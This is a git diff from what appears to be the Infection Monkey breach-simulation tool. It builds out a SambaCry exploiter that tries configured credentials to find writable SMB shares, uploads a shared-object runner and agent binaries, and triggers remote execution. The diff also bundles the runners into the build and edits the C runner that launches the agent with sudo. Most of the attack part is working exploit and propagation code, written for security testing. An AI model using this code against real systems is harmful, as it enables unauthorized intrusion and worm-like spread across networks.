diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py index 5973b9f59..af0246184 100644 --- a/chaos_monkey/exploit/sambacry.py +++ b/chaos_monkey/exploit/sambacry.py @@ -1,6 +1,7 @@ from optparse import OptionParser from impacket.dcerpc.v5 import transport from os import path +import time from impacket.smbconnection import SMBConnection from impacket.smb import SessionError from impacket.nt_errors import STATUS_OBJECT_NAME_NOT_FOUND, STATUS_ACCESS_DENIED @@ -9,78 +10,163 @@ from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAnd FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, SMB2Packet, \ SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE, SMB2_SESSION_FLAG_ENCRYPT_DATA + +from exploit import HostExploiter +from exploit.tools import get_target_monkey +from smbfinger import SMB_SERVICE +from model import DROPPER_ARG +from tools import build_monkey_commandline +import monkeyfs +from config import WormConfiguration + __author__ = 'itay.mizeretz' # TODO: add documentation -# TODO: add author # TODO: add logs -# TODO: add exception handling + +# TODO: add license credit?: https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py # TODO: remove /home/user # TODO: take all from config -FOLDER_PATHS_TO_GUESS = ['/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '', '/home/user'] -RUNNER_FILENAME = "monkey_runner.so" +FOLDER_PATHS_TO_GUESS = ['', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home', '/home/user'] +RUNNER_FILENAME_32 = "monkey_runner32.so" +RUNNER_FILENAME_64 = "monkey_runner64.so" COMMANDLINE_FILENAME = "monkey_commandline.txt" -MONKEY_FILENAME = "monkey" +MONKEY_FILENAME_32 = "monkey32" +MONKEY_FILENAME_64 = "monkey64" +MONKEY_COPY_FILENAME_32 = "monkey32_2" +MONKEY_COPY_FILENAME_64 = "monkey64_2" +SHARES_TO_NOT_CHECK = ["IPC$", "print$"] -def main(): - parser = OptionParser() - parser.add_option("-t", "--target", dest="target") - - (options, args) = parser.parse_args() - if options.target: - exploiter = SambaCryExploiter() - exploiter.exploit(options.target) - else: - parser.print_help() - -# TODO: inherit from HostExploiter -class SambaCryExploiter: +class SambaCryExploiter(HostExploiter): _target_os_type = ['linux'] def __init__(self): - self.module_binary = "" + pass - def exploit(self, ip): - self.assert_smb_version() - writable_shares = [] + def exploit_host(self, host, depth=-1, src_path=None): + self.is_vulnerable(host) + + writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr) + + # TODO: decide about ignoring src_path because of arc detection bug + src_path = src_path or get_target_monkey(host) + + for share in writable_shares_creds_dict: + self.try_exploit_share(host, share, writable_shares_creds_dict[share], src_path, depth) + + # TODO: config sleep time + time.sleep(5) + + for share in writable_shares_creds_dict: + self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share]) + + def try_exploit_share(self, host, share, creds, monkey_bin_src_path, depth): + smb_client = self.connect_to_server(host.ip_addr, creds) + self.upload_module(smb_client, host, share, monkey_bin_src_path, depth) + self.trigger_module(smb_client, share) + smb_client.logoff() + + def clean_share(self, ip, share, creds): + smb_client = self.connect_to_server(ip, creds) + tree_id = smb_client.connectTree(share) + file_list = [COMMANDLINE_FILENAME, RUNNER_FILENAME_32, RUNNER_FILENAME_64, + MONKEY_FILENAME_32, MONKEY_FILENAME_64, + MONKEY_COPY_FILENAME_32, MONKEY_COPY_FILENAME_64] + + for filename in file_list: + try: + smb_client.deleteFile(share, "\\%s" % filename) + except: + # Ignore exception to try and delete as much as possible + pass + smb_client.disconnectTree(tree_id) + smb_client.logoff() + + def get_writable_shares_creds_dict(self, ip): + # TODO: document + writable_shares_creds_dict = {} credentials_list = self.get_credentials_list() + for credentials in credentials_list: smb_client = self.connect_to_server(ip, credentials) shares = self.list_shares(smb_client) + + # don't try shares we can already write to. + for writable_share in writable_shares_creds_dict: + if writable_share in shares: + shares.remove(writable_share) + for share in shares: - if self.upload_module(smb_client, share): - writable_shares.append(share) - self.trigger_module(smb_client, share) - # TODO: delete remains + if self.is_share_writable(smb_client, share): + writable_shares_creds_dict[share] = credentials + smb_client.logoff() + return writable_shares_creds_dict + def get_credentials_list(self): - # TODO: get credentials from config - return [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}] + user_password_pairs = WormConfiguration.get_exploit_user_password_pairs() + credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}] + + for user, password in user_password_pairs: + credentials_list.append({'username': user, 'password': password, 'lm_hash': '', 'ntlm_hash': ''}) + + return credentials_list def list_shares(self, smb_client): shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()] - shares.remove("IPC$") + for share in SHARES_TO_NOT_CHECK: + if share in shares: + shares.remove(share) + return shares - def assert_smb_version(self): - # TODO: implement - pass + def is_vulnerable(self, host): + if not host.services.has_key(SMB_SERVICE): + return False + # TODO: check if version is supported + # smb_server_name = host.services[SMB_SERVICE].get('name') - def upload_module(self, smb_client, share): + return True + + def is_share_writable(self, smb_client, share): + # TODO: logs + #logging.debug('Checking %s for write access' % shareName) try: + #logging.debug('Connecting to share %s' % shareName) tree_id = smb_client.connectTree(share) - smb_client.putFile(share, "\\%s" % COMMANDLINE_FILENAME, self.get_monkey_commandline) - smb_client.putFile(share, "\\%s" % RUNNER_FILENAME, self.get_monkey_runner_bin) - smb_client.putFile(share, "\\%s" % MONKEY_FILENAME, self.get_monkey_bin) - smb_client.disconnectTree(tree_id) - return True - except SessionError as e: - if str(e).find('STATUS_ACCESS_DENIED') >= 0: - return False - raise + except Exception as e: + return False + + try: + smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE) + writable = True + except Exception as e: + writable = False + pass + + smb_client.disconnectTree(tree_id) + + return writable + + def upload_module(self, smb_client, host, share, monkey_bin_src_path, depth): + tree_id = smb_client.connectTree(share) + self.write_file_to_server(smb_client, share, COMMANDLINE_FILENAME, self.get_monkey_commandline_supplier(host, depth)) + with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file: + self.write_file_to_server(smb_client, share, RUNNER_FILENAME_32, monkey_runner_bin_file.read) + with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file: + self.write_file_to_server(smb_client, share, RUNNER_FILENAME_64, monkey_runner_bin_file.read) + with monkeyfs.open(monkey_bin_src_path, "rb") as monkey_bin_file: + # TODO: Fix or postpone 32/64 architecture problem. + self.write_file_to_server(smb_client, share, MONKEY_FILENAME_32, monkey_bin_file.read) + self.write_file_to_server(smb_client, share, MONKEY_FILENAME_64, monkey_bin_file.read) + smb_client.disconnectTree(tree_id) + + def write_file_to_server(self, smb_client, share, file_name, file_handle): + smb_client.putFile(share, "\\%s" % file_name, file_handle.read) + file_handle.close() def connect_to_server(self, ip, credentials): """ @@ -119,29 +205,31 @@ class SambaCryExploiter: return True - - def generate_module_possible_paths(self, share_name): + @staticmethod + def generate_module_possible_paths(share_name): """ Generates array of possible paths :param share_name: Name of the share :return: Array of possible full paths to the module. """ - return (('%s/%s/%s' % (folder_path, share_name, RUNNER_FILENAME)) for folder_path in FOLDER_PATHS_TO_GUESS) + possible_paths_32 =\ + (('%s/%s/%s' % (folder_path, share_name, RUNNER_FILENAME_32)) for folder_path in FOLDER_PATHS_TO_GUESS) + possible_paths_64 = \ + (('%s/%s/%s' % (folder_path, share_name, RUNNER_FILENAME_64)) for folder_path in FOLDER_PATHS_TO_GUESS) + return possible_paths_32 + possible_paths_64 @staticmethod - def get_monkey_bin(): - # TODO - pass + def get_monkey_runner_bin_file(is_32bit): + # TODO: get from config + if is_32bit: + return open("sc_monkey_runner32.so", "rb") + else: + return open("sc_monkey_runner64.so", "rb") + @staticmethod - def get_monkey_runner_bin(): - # TODO - pass - - @staticmethod - def get_monkey_commandline(): - # TODO - pass + def get_monkey_commandline_supplier(host, depth): + return lambda x: DROPPER_ARG + build_monkey_commandline(host, depth - 1) # Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability # @@ -224,7 +312,4 @@ class SambaCryExploiter: return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate) else: return self.createSmb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ, - creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0) - -if __name__=="__main__": - main() \ No newline at end of file + creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0) \ No newline at end of file diff --git a/chaos_monkey/monkey-linux.spec b/chaos_monkey/monkey-linux.spec index 16e88810d..d11f999f5 100644 --- a/chaos_monkey/monkey-linux.spec +++ b/chaos_monkey/monkey-linux.spec @@ -14,6 +14,10 @@ a = Analysis(['main.py'], win_no_prefer_redirects=None, win_private_assemblies=None, cipher=block_cipher) + +a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')] +a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')] + pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher) exe = EXE(pyz, diff --git a/chaos_monkey/monkey.spec b/chaos_monkey/monkey.spec index 96c811efd..8e004145b 100644 --- a/chaos_monkey/monkey.spec +++ b/chaos_monkey/monkey.spec @@ -7,6 +7,10 @@ a = Analysis(['main.py'], hookspath=None, runtime_hooks=None) + +a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')] +a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')] + if platform.system().find("Windows")>= 0: a.datas = [i for i in a.datas if i[0].find('Include') < 0] if platform.architecture()[0] == "32bit": diff --git a/chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.c b/chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.c index e83ad82dc..4938fb783 100644 --- a/chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.c +++ b/chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.c @@ -6,16 +6,31 @@ #include "monkey_runner.h" +#if __x86_64__ + #define ARC_IS_64 +#endif + +#if _____LP64_____ + #define ARC_IS_64 +#endif + #define LINE_MAX_LENGTH (2048) #define MAX_PARAMETERS (30) int samba_init_module(void) { - const char RUNNER_FILENAME[] = "monkey_runner.so"; +#if ARC_IS_64 + const char RUNNER_FILENAME[] = "monkey_runner64.so"; + const char MONKEY_NAME[] = "monkey64"; + const char MONKEY_COPY_NAME[] = "monkey64_2"; +#else + const char RUNNER_FILENAME[] = "monkey_runner32.so"; + const char MONKEY_NAME[] = "monkey32"; + const char MONKEY_COPY_NAME[] = "monkey32_2"; +#endif + const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt"; const char ACCESS_MODE_STRING[] = "0777"; - const char MONKEY_NAME[] = "monkey"; - const char MONKEY_COPY_NAME[] = "monkey2"; const char RUN_MONKEY_CMD[] = "sudo ./"; int found = 0;